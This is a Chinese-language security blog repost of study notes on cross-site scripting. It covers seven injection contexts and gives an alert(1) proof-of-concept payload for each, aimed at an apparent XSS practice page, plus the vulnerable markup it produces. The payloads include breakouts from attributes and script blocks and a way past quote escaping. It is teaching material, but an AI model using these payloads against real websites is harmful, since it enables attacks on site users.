你所不知道的xss

admin 2023年1月20日07:11:56评论21 views字数 1930阅读6分26秒阅读模式


你所不知道的xss

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

前言

主要是复习xss的时候的一些记录(笔记),包含若干总结

xss的类型

Web 服务器发送的代码这里称之为源代码(source code), 它由浏览器处理,在 JavaScript 引擎的帮助下,以编程的方式创建文档的元素。这称为 DOM(文档对象模型),它会在源代码到达后立即生成。

在应用程序的上下文中(脱离上下文的应用程序非常罕见,这里不讨论),我们将xss分为两大类:

基于源代码和基于 DOM 的 XSS 类型(XSS 可能是由服务器端代码(Web 服务器发送的代码)或客户端代码(浏览器从 Web 服务器发送的代码处理后的代码)引起的。):

Source-based: Reflected Stored

DOM-based: Reflected Stored

xss中七种常见的场景

1. URL Reflection

当 URL 以某种方式反映在源代码中时,我们可以向其添加我们自己的 XSS 有效负载, 对于 PHP 页面,可以使用斜杠字符 (/) 在页面名称后的 URL 中添加任何内容

 http://brutelogic.com.br/xss.php/”><svg onload=alert(1)>

使用 >来断开当前标签

<form action="/xss.php/"><svg onload=alert(1)>" method="POST">

2.HTML injection

这是最直接的方法,输入恰到好处地反映在现有标签之间的代码中,在它们之后或之前。无需转义或破坏任何东西,类似<tag handler=jsCode>形式的向量都可以.

http://brutelogic.com.br/xss.php?a=<svg onload=alert(1)>

<h1>xss test</h1>hello, <svg onload=alert(1)>!<br>

3.Inline HTMLi

几乎和前一个一样简单,但是需要“>”来闭合当前标签。

 http://brutelogic.com.br/xss.php?b1=”><svg onload=alert(1)>
<input type="text" name="b1" value=""><svg onload=alert(1)>">

4.Inline HTMLi(没有闭合标签)

当输入位于 HTML 属性中并且过滤字符 (>) 时,不可能像前一种情况那样跳出当前标签。

<input type="text" name="b3" value=""&gt;<svg onload=alert(1)&gt;">

&gt; 就表示>

使用适合我们注入的标签的事件处理程序,例如:

 http://brutelogic.com.br/xss.php?b3=” onmouseover=alert(1)//

注意:alert(1) 后跟双斜杠以注释掉挂起的引号

<input type="text" name="b3" value="" onmouseover=alert(1)//">

5. HTMLi in Js (Javascript) Block

输入有时会进入 javascript 块(脚本标签),通常在代码的某些变量中。但是因为 HTML 标签在浏览器的解析中具有优先权,我们可以简单地终止块并插入一个新标签。

 http://brutelogic.com.br/xss.php?c1=</script><svg onload=alert(1)>
<script>  var var1 = '</script><svg onload=alert(1)>';</script>

6.JS注入

如果脚本标签以某种方式被过滤,之前的利用将失败。

  var var1 = '><svg onload=alert(1)>';

将易受攻击变量的值“连接”到我们想要执行的代码

 http://brutelogic.com.br/xss.php?c3=’-alert(1)-‘

看下面:

  var var3 = ''-alert(1)-'';

7.转义Js注入

在前面的例子中,如果引号(负责中断变量值)用反斜杠 () 转义,注入将不起作用(无效语法)。

插入一个前导字符来转义添加的反斜杠, 在“串联”到我们想要的js代码之后,我们需要注释掉剩下的部分

 http://brutelogic.com.br/xss.php?c5=’-alert(1)//
  var var5 = '\'-alert(1)-//';

往期回顾

2022年度精选文章


原文始发于微信公众号(迪哥讲事):你所不知道的xss

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月20日07:11:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   你所不知道的xsshttps://cn-sec.com/archives/1522387.html

发表评论

匿名网友 填写信息